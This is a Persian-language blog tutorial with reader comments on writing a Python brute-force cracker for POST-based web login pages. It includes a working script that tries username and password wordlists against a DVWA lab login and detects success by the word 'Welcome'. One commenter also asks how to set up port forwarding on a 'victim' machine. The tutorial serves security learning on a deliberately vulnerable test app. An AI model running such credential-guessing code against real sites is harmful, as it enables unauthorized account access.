آموزش ساخت ابزار کرکر صفحات لاگین وب در پایتون :: Mr Python | مستر پایتون

آموزش ساخت ابزار کرکر صفحات لاگین وب در پایتون

  • ۴۰۳۲

آموزش ساخت ابزار کرکر صفحات لاگین وب در پایتون

 

درود به همه !

 

امروز میبینیم چطور میشه یه cracker برای صفحات لاگین که از روش POST برای انتقال اطلاعات استفاده میکنند ساخت .در این آموزش برای ارسال درخواست های POST به سمت سرور از کتابخونه ی requests در پایتون استفاده میکنیم . کتابخونه ی requests  دارای تابعی به نام post است که از این تابع برای انجام کارمون استفاده میکنیم .

قبل از اینکه شروع کنیم بزارید یکم در مورد درخواست های HTTP توضیح بدم . وقتی یک کاربر میخواد از طریق صفحه لاگین یک وبسایت وارد اون بشه باید ابتدا از طریق مرورگرش به آدرس صفحه لاگین بره و یوزرنیم و پسووردشو  بزنه و مثلا دکمه ی ورود رو بزنه . این کار باعث میشه یه درخواست HTTP از طریق متود POST برای سرور اون سایت ارسال بشه که حاوی یوزرنیم و پسووردی هست که کاربر زده . پس از اینکه سرور این درخواست رو دریافت کرد میبینه آیا یوزرنیم و پسووردی که کاربر زده معتبره یا نه . اگه معتبر باشه بهش اجازه ورود میده و اگه معتبر نباشه بهش اجازه ی ورود نمیده .

کار کرکر ما اینه که یوزرنیم و پسووردای زیادی رو روی صفحه لاگین تست کنه ببینه کدومش درسته . خب پس ما باید اسکریپتی بنویسیم که همون درخواست HTTP که کاربر میفرستاد رو بفرسته ولی با این تفاوت که اینکار رو بارها تکرار کنه و یوزرنیم و پسووردای مختلفی رو تست کنه . هرکدوم از درخواست ها جواب درستی از سمت سرور گرفت یعنی یوزرنیم و پسوورد صحیح همون بوده .

اما اگه بخوایم یکم دقیق تر درخواست HTTP رو برسی کنیم باید پروتکل HTTP رو بدونیم چیه . پروتکل HTTP مخفف Hyper Text Transfer Protocol هستش . کار این پروتکل انتقال اطلاعات بین سرور و کلاینته . روش کار طوریه که هر کلاینت یک درخواست HTTP به یک آدرس وب میفرسته و اون سرور یک جواب HTTP به کلاینت ارسال میکنه . تصویر زیر :

 

 

هر درخواست HTTP شامل سه بخش اصلی هستش .

۱ - بخش خط درخواست یا  Request Line : این بخش دارای سه قسمت است . قسمت اول متود یا شیوه ی ارتباط را مشخص میکند که میتواند یکی از متود های HTTP مثل GET یا post باشد . قسمت دوم از این بخش آدرس url مقصد ، روی سرور هدف را مشخص میکند برای مثال :

/apps/login.php

قسمت سوم هم مشخص کننده ی ورژن پروتکل HTTP است . برای مثال میتواند متنی شبیه به متن زیر باشد :

HTTP 1/1

بیشتر صفحات لاگین وبسایت هایی که اصولی طراحی شده اند از متود POST برای انتقال استفاده میکنند پس ما هم باید از همین متود برای تست یوزرنیم و پسوودامون استفاده کنیم .

 

۲ - بخش هدر ها (Headers) : هدر ها درواقع یک سری مقادیر اطلاعاتی در مورد کلاینت هستند که سرور از طریق این هدر ها میتواند با کلاینت ارتباط برقرار کند . برای مثال اطلاعاتی مثل زبان یا نوع مرورگری که کلاینت استفاده میکند را مشخص میکند .

 

۳ - بخش بدنه اطلاعات یا Message Body : تمام قسمت های قبلی در واقع برای این موضوع بودن که بتونن بخش سوم یعنی اطلاعات رو انتقال بدن . اطلاعات یا message body همون اطلاعاتی هستند که ما میخوایم از طریق این درخواست انتقال بدیم که در مورد پروژه ما در واقع یوزرنیم و پسوورد هستش .

 

خب اینا یه سری چیزای پایه بودن که باید در مورد این پروژه میدونستیم .

آماده سازی : قبل از اینکه بریم سراغ مرحله ی بعد پیشنهادم اینه یکم در مورد بحثای بالا توی گوگل هم بخونید .

 

میریم سراغ اسکریپت نویسی . قبلش بگم که من از اپلیکیشن آسیب پذیر dvwa برای تست اسکریت استفاده میکنم . به شما هم پیشنهاد میکنم برای تست اسکریپت یه صفحه لاگین خودتون بنویسید یا از اپلیکیشن های آسیب پذیر مثل dvwa استفاده کنید .

 

صفحه لاگین اپلیکیشن آسیب پذیر من به آدرس http://192.168.1.105/dvwa/login.php به شکل زیره .

 

 

 

حالا ما نیاز به یه سری اطلاعات داریم  .۱ - نیاز به یک متن کلیدی برای شناسایی اینکه لاگین موفقیت آمیز بوده یا نه . برای مثال در این وبسایتی  که من تست میکنم اگه پسوورد رو درست بزنم وارد یه صفحه ای میشم که اولش نوشته Welcome . پس بعدا تو اسکریپت میگیم اگه کلمه ی Welcome در متن بازگشتی وجود داشت یعنی اینکه پسوورد و یوزرنیم درست بودن .

مورد بعدی که نیاز داریم همون قسمت سوم درخواست HTTP یعنی MessageBody است . ما نیاز داریم تا متغییر های این قسمت را بدونیم . برای اینکار من ابتدا با مرورگر خودم (فایرفاکس) وارد صفحه لاگین میشم

بعد کلیک راست میکنم وگزینه ی Inspect Element رو انتخاب میکنم .

 

 

بعد میرم توی سربرگ Network

 

 

حالا یه پسوورد تستی به اشتباه وارد میکنم و اقدام به لاگین میکنم  .

همینطور که میبینید پس از وارد کردن یه پسوورد اشتباه سربرگ network تغییراتی پیدا میکند :

 

حالا میتونیم اون درخواست اصلی که برای ورود به وبسایت است و با متود post است رو انتخاب کنیم :

 

و نهایتا در سربرگ request من میتونم متغییر ها رو ببینم . همینطور که میبینید اینجا سه تا متغیر دارم . password , username و Login . 

 

این مقادیر را بعدا در سورس کد مقدار دهی میکنیم . کافی است یوزرنیم مورد نظر رو به جای متغییر username  و پسوورد موردنظر رو به جای متغییر password بزاریم و Login هم که همیشه ثابته .

برای نوشتن اسکریپت نیاز به دوتا کتابخونه داریم . یکی requests که به صورت پیشفرض نصبه و کتابخونه ی colorama برای نوشتن متن های رنگی که برای نصبش میتونیم از ابزار pip استفاده کنیم.

 

نصب کتابخونه روی لینوکس :

MrPython@debian:~$ sudo pip3 install colorama

نصب کتابخونه روی ویندوز :

C:\> pip install colorama

 

میریم برای نوشتن اسکریپت.

 

سورس اسکریپت :

from requests import post
import colorama

colorama.init() ## initialize the colorama

url = "http://192.168.1.105/dvwa/login.php"

usernamefile = input("Username List : ")
passwordfile = input("Password List : ")

find = False
for username in open(usernamefile):
    username = username.strip("\n")
    for password in open(passwordfile):
        password = password.strip('\n')
        print (colorama.Fore.RED + "{}:{}".format(username,password))
        res = post(url,data = {"username" : username , "password" : password , "Login" : "Login"})
        content = res.content
        content = content.decode()
        if "Welcome" in content:
            print("-"*50)
            print(colorama.Fore.GREEN + "Correct USERNAME / PASSWORD --> {}:{}".format(username,password))
            find = True
            break
    if find :
        break

توضیح سورس کد :

در ابتدا کتابخونه های مورد نیاز رو ایمپورت کردیم . سپس با استفاده از colorama.init اومدیم ماژول colorama رو کانفیگ کردیم تا بتونه متنای رنگی برامون تولید کنه (آماده سازی colorama) . پس از اون دوتا ورودی از کاربر گرفتیم یکی usernamelist و دیگری passwordlist که درواقع آدرس فایل های یوزرنیم لیست و پسووردلیست هستند . سپس یه متغییر به نام find تعریف کردیم که فقط در صورتی برابر True میشه که یوزرنیم و پسوورد صحیح رو پیدا کنیم . بعد یه حلقه ی for برای فایل usernamelist نوشتیم که به وسیله ی اون بتونیم به تک تک یوزرنیم های داخل فایل دسترسی داشته باشیم . در اولین خط از کد این حلقه اومدیم عبارت n\ آخر هر یوزرنیم رو حذف کردیم . سپس یک حلقه for دیگر برای فایل پسوورد ها ایجاد کردیم و در اولین کد این حلقه نیز مانند حلقه قبل اومدیم n\ آخر هر پسوورد رو حذف کردیم .بعد از اون اومدیم چاپ کردیم که چه پسوورد و یوزرنیمی رو داریم تست میکنیم . سپس اومدیم با استفاده از متود post  یه درخواست http فرستادیم سمت اون آدرس به همراه پارامتر های مورد نیازش که اون بالا گفتیم یکی username بود و دیگری password . همچنین یه Login هم داشتیم که همیشه ثابت بود .

بعد جواب درخواستمون که از سمت سرور میاد رو  ریختیم داخل متغییر res . حالا با استفاده از res.content اومدیم محتویات اون صفحه برگشتی رو دیدیم . اگه یادتون باشه وقتی من لاگین صحیح انجام میدادم یکی از کلمه هایی که روی صفحه به ما نشون میداد کلمه ی Welcome بود . پس اینجا گفتم اگه کلمه ی Welcome داخل متن بازگشتی بود یعنی ورود موفقیت آمیز بوده و یوزرنیم و پسوورد درست رو به کاربر نشون بده و نهایتا متغییر find رو برابر True کن و از حلقه ها خارج شو و تمام .

 

پس از اجرای اسکریپت و دادن فایل های یوزرنیم و پسوورد به برنامه ، با نتیجه ی زیر رو به روز میشیم :

 

 

 

یا حق !

Telegram Channel : @mrpythonblog

  • یک فرد نسبتا معمولی

    سلام مجدد

    دو سوال دارم

    یکی اینکه بعضی از سایت ها هستن که دسترسی به برخی مطالبشون قفله و باید رمز زد.در اون موقع باید چیکار کنیم؟

    دو اینکه من این پست شما در مورد وب سرور و پست پورت فورواردینگ رو خوندم چطور میشه اینا رو ترکیب کرد(یعنی کد خودش بره پورت فوروارد کنه رو سیستم قربانی و با همون آی پی وب سرور راه بندازه و بعد آی پی رو برای ما بفرسته تا بزنیم تو مرورگر)

    و یک چیزی من تمام کلید های الگوریتم ویژنر که از ۱ تا ۶ حرفی باشن رو توی یه فایل ذخیره کردم شد ۱۶۴ مگابایت!

    پاسخ:
    سلام .
    سوالتون خیلی کلی هستش .

    الگوریتم ویژنر رو معمولا نمیان تمام کلیداشو حساب کنن .  از کاسیسکی استفاده میکنند تا طول کلید رو پیدا کنند . بعد از پیدا کردن طول کلید متن رمزی رو میشکنن به قسمت های کوچیکتر که هر کدوم یه رمز سزار هست . بعد با تحلیل فرکانسی حروف کلیدو در میارن
  • سلام خسته نباشید

    ما توی این کد میدونیم که درصورت درست بودن یوزر و پسورد نوشته ی welcome میاد

    ولی جاییکه نمیدونیم چی؟!

    توی این مواقع از کجا بفهمیم که ورودی ها درست هستند؟

    پاسخ:
    درود بر شما .
    ببینید باید تست کنید خودتون قبلش . یعنی برید داخل سایت هدف و یک بار پسوورد اشتباه بزنید . ببینید چه نشونه های در صورت دادن ورودی های غلط بوجود میاد و ازشون در کدتون استفاده کنید .
  • با سلام و وقت بخیر ببخشید اونجای که نوشته پسور لسیت و یوزنیم لیست 

    ما داخل اون فایل تکست چیزی نیست و داخل فایل تکست باید چه چیز هایی قرار بدیم

    پاسخ:
    درود بر شما .
    ببینید برای انجام این حمله شما باید دو فایل تکست یا متنی از قبل آماده کرده باشید . 1 - فایل یوزرنیم ها (username list) که حاوی یوزرنیم هایی هست که میخواهید تست کند . 
    2 - فایل پسوورد ها (password list) که حاوی پسوورد های حدسی است که قرار است به ازای هر کدام از یوزرنیم های موجود در username list تست شود . 
    سپس آدرس این دو فایل را به ورودی برنامه بدهید تا حمله را آغاز کند . 
  • مجدد درود خدایان برشما

    همین dvwa هست

    این سورس :

    usernamefile = ("user.txt")
    passwordfile = ("pass.txt")
    find = False
    for username in open(usernamefile):
        username = username.strip("\n")
        for password in open(passwordfile):
            password = password.strip('\n')
            print (colorama.Fore.RED + "{}:{}".format(username,password))
            paylod = {"username":username,
                    "password":password,
                    "Login":"submit",
                    }
            #res = post(url,data = {"username" : username , "password" : password , "Login" : "submit"})
            req = post(url , paylod)
            content = req.content
            content = content.decode()

            req = requests.get(url)
            source = req.text
            soup = BeautifulSoup(req.text, "html.parser")

            if soup.find("div", id="main_menu") != None:
                print("-"*50)
                print(colorama.Fore.GREEN + "Correct USERNAME / PASSWORD --> {}:{}".format(username,password))
                find = True
        if find :
            break

    پاسخ:
    سلام مجدد .
    به نظر من سورستون یا در بخشی که میخواد پارامتر ها رو بسازه (paylod) .
    یا اونجایی که چک میکنه ببینه یوزرنیم و پسوورد درست بوده  یا نه .
    سورسی که در این پست استفاده شده کاملا پاسخگو بوده و جواب داده . 
  • درود خدایان برتو باد :)

    یک مشکل هست برنامه رو نوشتم اما میاد فقط پسورد هارو نمایش میده و نه خطا میده ک پسورد ها اشتباههه و نه پیام درست بودن پسورد رو میده !

    فقط پرینت میکنه پسورد های فایل های پسورد و یوزر نیم رو !

    توی چیزایی که پرینت میکنه یوزر پسورد درست هم هستش !

    اما درست بودن رو نمیگه ! و همینطور کل فایل رو تست میکنه

     

    پاسخ:
    درود بر شما . 
    1 - آیا سورس شما دقیقا کار سورسی که گذاشتیمو میکنه ؟ (منظورم اینه جایی از سورس نبوده که از قلم انداخته باشید مثلا یادتون رفته باشه n\ آخر هر یوزرنیم و پسوورد رو حذف کنید)
    2 - آیا مطمئنید که یوزرنیم و پسوورد صحیح داخل فایل ها هست ؟  به کوچیک بزرگی یوزرنیم و پسوورد ها هم حساسه 
    3 - روی یک سایت دیگه ای دارید امتحان میکنید یا همین DVWA ? 
  • سیدمهدی موسویان

    خیلی جالب بود

    پاسخ:
    ممنونم 
  • عالیه

    پاسخ:
    ممنون :)
ارسال نظر آزاد است، اما اگر قبلا در بیان ثبت نام کرده اید می توانید ابتدا وارد شوید.
شما میتوانید از این تگهای html استفاده کنید:
<b> یا <strong>، <em> یا <i>، <u>، <strike> یا <s>، <sup>، <sub>، <blockquote>، <code>، <pre>، <hr>، <br>، <p>، <a href="" title="">، <span style="">، <div align="">
تجدید کد امنیتی